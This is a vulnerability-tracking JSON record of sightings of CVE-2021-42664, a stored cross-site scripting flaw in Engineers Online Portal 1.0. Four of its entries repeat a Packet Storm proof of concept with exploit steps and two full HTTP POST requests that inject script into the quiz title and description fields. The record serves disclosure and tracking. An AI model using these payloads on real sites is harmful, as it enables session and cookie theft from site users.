{"vulnerability": "CVE-2021-42664", "sightings": [{"uuid": "1e1b063b-fe0a-4291-a1bb-140c201bcc1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-42664", "type": "published-proof-of-concept", "source": "https://t.me/hacker_trick/400", "content": "The Engineers Online Portal System\n\n#CVE-2021-42662 - Stored Cross-Site Scripting vulnerability in the Online event booking and reservation system\nhttps://github.com/TheHackingRabbi/CVE-2021-42662\n\n#CVE-2021-42663 - HTML Injection vulnerability in the Online event booking and reservation system\nhttps://github.com/TheHackingRabbi/CVE-2021-42663\n\n#CVE-2021-42664 - Stored Cross-Site Scripting vulnerability in the Engineers online portal system\nhttps://github.com/TheHackingRabbi/CVE-2021-42664\n\n#CVE-2021-42665 - SQL Injection authentication bypass vulnerability in the Engineers online portal system\nhttps://github.com/TheHackingRabbi/CVE-2021-42665\n\n#CVE-2021-42666 - SQL Injection vulnerability in the Engineers online portal system\nhttps://github.com/TheHackingRabbi/CVE-2021-42666\n\n#CVE-2021-42667 - SQL Injection vulnerability in the Online event booking and reservation system\nhttps://github.com/TheHackingRabbi/CVE-2021-42667", "creation_timestamp": "2021-11-06T19:08:05.000000Z"}, {"uuid": "8ca739c9-a760-46d4-bbfd-0b65faf17ffa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-42664", "type": "seen", "source": "https://t.me/cibsecurity/31878", "content": "\u203c CVE-2021-42664 \u203c\n\nA Stored Cross Site Scripting (XSS) Vulneraibiilty exists in Sourcecodester Engineers Online Portal in PHP via the (1) Quiz title and (2) quiz description parameters to add_quiz.php. An attacker can leverage this vulnerability in order to run javascript commands on the web server surfers behalf, which can lead to cookie stealing and more.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-11-05T15:27:14.000000Z"}, {"uuid": "7a00e255-29bf-4aab-977e-2d9ca3f61266", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-42664", "type": "seen", "source": "https://t.me/hacking_Attack/28940", "content": "Exploit Collector\nEngineers Online Portal 1.0 Cross Site Scripting\n\nhttps://4.bp.blogspot.com/-xWCWgAV3Ny0/WWlvBhL9TTI/AAAAAAAAIKY/j6Iuv-WtlEAbM80hi5qIKa1OI4pChiwSgCLcBGAs/s1600/h124.png \nEngineers Online Portal version 1.0 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 8c84a5a5c419cd77b5e78bb0e295b80e\n\nDownload\n# Exploit Title: Engineers Online Portal 1.0 - 'multiple' Stored Cross-Site Scripting (XSS)\n# Exploit Author: Alon Leviev\n# Date: 22-10-2021\n# Category: Web application\n# Vendor Homepage: https://www.sourcecodester.com/php/13115/engineers-online-portal-php.html\n# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/nia_munoz_monitoring_system.zip\n# Version: 1.0\n# Tested on: Kali Linux \n# CVE : cve-2021-42664\n# Vulnerable page: add_quiz.php\n# Vulnerable Parameters: \"quiz_title\", \"description\"\n\nTechnical description:\nA stored XSS vulnerability exists in the Engineers Online Portal. An attacker can leverage this vulnerability in order to run javascript on the web server surfers behalf, which can lead to cookie stealing, defacement and more. \n\nSteps to exploit:\n1) Navigate to http://localhost/nia_munoz_monitoring_system/add_quiz.php\n2) Insert your payload in the \"quiz_title\" parameter or the \"description\" parameter\n3) Click save\n\nProof of concept (Poc):\nThe following payload will allow you to run the javascript - \n---\n\nPOST /nia_munoz_monitoring_system/add_quiz.php HTTP/1.1\nHost: localhost\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 91\nOrigin: http://localhost\nConnection: close\nReferer: http://localhost/nia_munoz_monitoring_system/add_quiz.php\nCookie: PHPSESSID=3ptqlolbrddvef5a0k8ufb28c9\nUpgrade-Insecure-Requests: 1\n\nquiz_title=%3Cscript%3Ealert%28%22This+is+an+XSS%22%29%3C%2Fscript%3E&description=xss&save=\n\nOR\n\nPOST /nia_munoz_monitoring_system/edit_quiz.php?id=6 HTTP/1.1\nHost: localhost\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 101\nOrigin: http://localhost\nConnection: close\nReferer: http://localhost/nia_munoz_monitoring_system/edit_quiz.php?id=6\nCookie: PHPSESSID=3ptqlolbrddvef5a0k8ufb28c9\nUpgrade-Insecure-Requests: 1\n\nquiz_id=6&quiz_title=xss&description=%3Cscript%3Ealert%28%22This+is+an+xss%22%29%3C%2Fscript%3E&save=\n\n---\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:12.878539Z"}, {"uuid": "30872eb0-b184-4bfb-9140-d20b265ead8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-42664", "type": "seen", "source": "https://t.me/hacking_Attack/28940", "content": "Exploit Collector\nEngineers Online Portal 1.0 Cross Site Scripting\n\nhttps://4.bp.blogspot.com/-xWCWgAV3Ny0/WWlvBhL9TTI/AAAAAAAAIKY/j6Iuv-WtlEAbM80hi5qIKa1OI4pChiwSgCLcBGAs/s1600/h124.png \nEngineers Online Portal version 1.0 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 8c84a5a5c419cd77b5e78bb0e295b80e\n\nDownload\n# Exploit Title: Engineers Online Portal 1.0 - 'multiple' Stored Cross-Site Scripting (XSS)\n# Exploit Author: Alon Leviev\n# Date: 22-10-2021\n# Category: Web application\n# Vendor Homepage: https://www.sourcecodester.com/php/13115/engineers-online-portal-php.html\n# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/nia_munoz_monitoring_system.zip\n# Version: 1.0\n# Tested on: Kali Linux \n# CVE : cve-2021-42664\n# Vulnerable page: add_quiz.php\n# Vulnerable Parameters: \"quiz_title\", \"description\"\n\nTechnical description:\nA stored XSS vulnerability exists in the Engineers Online Portal. An attacker can leverage this vulnerability in order to run javascript on the web server surfers behalf, which can lead to cookie stealing, defacement and more. \n\nSteps to exploit:\n1) Navigate to http://localhost/nia_munoz_monitoring_system/add_quiz.php\n2) Insert your payload in the \"quiz_title\" parameter or the \"description\" parameter\n3) Click save\n\nProof of concept (Poc):\nThe following payload will allow you to run the javascript - \n---\n\nPOST /nia_munoz_monitoring_system/add_quiz.php HTTP/1.1\nHost: localhost\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 91\nOrigin: http://localhost\nConnection: close\nReferer: http://localhost/nia_munoz_monitoring_system/add_quiz.php\nCookie: PHPSESSID=3ptqlolbrddvef5a0k8ufb28c9\nUpgrade-Insecure-Requests: 1\n\nquiz_title=%3Cscript%3Ealert%28%22This+is+an+XSS%22%29%3C%2Fscript%3E&description=xss&save=\n\nOR\n\nPOST /nia_munoz_monitoring_system/edit_quiz.php?id=6 HTTP/1.1\nHost: localhost\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 101\nOrigin: http://localhost\nConnection: close\nReferer: http://localhost/nia_munoz_monitoring_system/edit_quiz.php?id=6\nCookie: PHPSESSID=3ptqlolbrddvef5a0k8ufb28c9\nUpgrade-Insecure-Requests: 1\n\nquiz_id=6&quiz_title=xss&description=%3Cscript%3Ealert%28%22This+is+an+xss%22%29%3C%2Fscript%3E&save=\n\n---\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:38.818418Z"}, {"uuid": "f940bf76-5e58-4315-a98e-e0ec99e3dacc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-42664", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/28940", "content": "Exploit Collector\nEngineers Online Portal 1.0 Cross Site Scripting\n\nhttps://4.bp.blogspot.com/-xWCWgAV3Ny0/WWlvBhL9TTI/AAAAAAAAIKY/j6Iuv-WtlEAbM80hi5qIKa1OI4pChiwSgCLcBGAs/s1600/h124.png \nEngineers Online Portal version 1.0 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 8c84a5a5c419cd77b5e78bb0e295b80e\n\nDownload\n# Exploit Title: Engineers Online Portal 1.0 - 'multiple' Stored Cross-Site Scripting (XSS)\n# Exploit Author: Alon Leviev\n# Date: 22-10-2021\n# Category: Web application\n# Vendor Homepage: https://www.sourcecodester.com/php/13115/engineers-online-portal-php.html\n# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/nia_munoz_monitoring_system.zip\n# Version: 1.0\n# Tested on: Kali Linux \n# CVE : cve-2021-42664\n# Vulnerable page: add_quiz.php\n# Vulnerable Parameters: \"quiz_title\", \"description\"\n\nTechnical description:\nA stored XSS vulnerability exists in the Engineers Online Portal. An attacker can leverage this vulnerability in order to run javascript on the web server surfers behalf, which can lead to cookie stealing, defacement and more. \n\nSteps to exploit:\n1) Navigate to http://localhost/nia_munoz_monitoring_system/add_quiz.php\n2) Insert your payload in the \"quiz_title\" parameter or the \"description\" parameter\n3) Click save\n\nProof of concept (Poc):\nThe following payload will allow you to run the javascript - \n---\n\nPOST /nia_munoz_monitoring_system/add_quiz.php HTTP/1.1\nHost: localhost\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 91\nOrigin: http://localhost\nConnection: close\nReferer: http://localhost/nia_munoz_monitoring_system/add_quiz.php\nCookie: PHPSESSID=3ptqlolbrddvef5a0k8ufb28c9\nUpgrade-Insecure-Requests: 1\n\nquiz_title=%3Cscript%3Ealert%28%22This+is+an+XSS%22%29%3C%2Fscript%3E&description=xss&save=\n\nOR\n\nPOST /nia_munoz_monitoring_system/edit_quiz.php?id=6 HTTP/1.1\nHost: localhost\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 101\nOrigin: http://localhost\nConnection: close\nReferer: http://localhost/nia_munoz_monitoring_system/edit_quiz.php?id=6\nCookie: PHPSESSID=3ptqlolbrddvef5a0k8ufb28c9\nUpgrade-Insecure-Requests: 1\n\nquiz_id=6&quiz_title=xss&description=%3Cscript%3Ealert%28%22This+is+an+xss%22%29%3C%2Fscript%3E&save=\n\n---\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T07:00:13.939012Z"}, {"uuid": "1eaad18f-f0a4-4736-8e33-d1157c3e1d13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-42664", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/28940", "content": "Exploit Collector\nEngineers Online Portal 1.0 Cross Site Scripting\n\nhttps://4.bp.blogspot.com/-xWCWgAV3Ny0/WWlvBhL9TTI/AAAAAAAAIKY/j6Iuv-WtlEAbM80hi5qIKa1OI4pChiwSgCLcBGAs/s1600/h124.png \nEngineers Online Portal version 1.0 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 8c84a5a5c419cd77b5e78bb0e295b80e\n\nDownload\n# Exploit Title: Engineers Online Portal 1.0 - 'multiple' Stored Cross-Site Scripting (XSS)\n# Exploit Author: Alon Leviev\n# Date: 22-10-2021\n# Category: Web application\n# Vendor Homepage: https://www.sourcecodester.com/php/13115/engineers-online-portal-php.html\n# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/nia_munoz_monitoring_system.zip\n# Version: 1.0\n# Tested on: Kali Linux \n# CVE : cve-2021-42664\n# Vulnerable page: add_quiz.php\n# Vulnerable Parameters: \"quiz_title\", \"description\"\n\nTechnical description:\nA stored XSS vulnerability exists in the Engineers Online Portal. An attacker can leverage this vulnerability in order to run javascript on the web server surfers behalf, which can lead to cookie stealing, defacement and more. \n\nSteps to exploit:\n1) Navigate to http://localhost/nia_munoz_monitoring_system/add_quiz.php\n2) Insert your payload in the \"quiz_title\" parameter or the \"description\" parameter\n3) Click save\n\nProof of concept (Poc):\nThe following payload will allow you to run the javascript - \n---\n\nPOST /nia_munoz_monitoring_system/add_quiz.php HTTP/1.1\nHost: localhost\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 91\nOrigin: http://localhost\nConnection: close\nReferer: http://localhost/nia_munoz_monitoring_system/add_quiz.php\nCookie: PHPSESSID=3ptqlolbrddvef5a0k8ufb28c9\nUpgrade-Insecure-Requests: 1\n\nquiz_title=%3Cscript%3Ealert%28%22This+is+an+XSS%22%29%3C%2Fscript%3E&description=xss&save=\n\nOR\n\nPOST /nia_munoz_monitoring_system/edit_quiz.php?id=6 HTTP/1.1\nHost: localhost\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 101\nOrigin: http://localhost\nConnection: close\nReferer: http://localhost/nia_munoz_monitoring_system/edit_quiz.php?id=6\nCookie: PHPSESSID=3ptqlolbrddvef5a0k8ufb28c9\nUpgrade-Insecure-Requests: 1\n\nquiz_id=6&quiz_title=xss&description=%3Cscript%3Ealert%28%22This+is+an+xss%22%29%3C%2Fscript%3E&save=\n\n---\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:56.221508Z"}]}